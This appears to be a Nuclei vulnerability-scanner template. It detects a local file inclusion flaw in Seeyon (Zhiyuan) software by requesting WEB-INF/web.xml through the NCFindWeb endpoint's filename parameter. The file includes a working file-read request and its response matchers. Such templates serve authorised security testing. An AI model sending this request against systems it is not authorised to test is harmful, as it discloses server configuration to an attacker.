id: wooyun-2015-148227

info:
  name: Seeyon WooYun - Local File Inclusion
  author: princechaddha
  severity: high
  description: Seeyon WooYun allows remote attackers to include the content of locally stored content and disclose it back to the attacker via local file inclusion.
  reference:
    - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: seeyon,wooyun,lfi,zhiyuan

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<servlet-name>NCInvokerServlet</servlet-name>"
        part: body

      - type: word
        part: header
        words:
          - "application/xml"

# digest: 4b0a0048304602210086f368f88bd3eb402559efe0e6eeb838b0d98438b4bc7dbbf908f4f886a17b6b022100e071a2dd264838531536ea5097cbb6cd3d4fb4ee22018b8b910e9dd7938954a1:922c64590222798bb761d5b6d8e72950
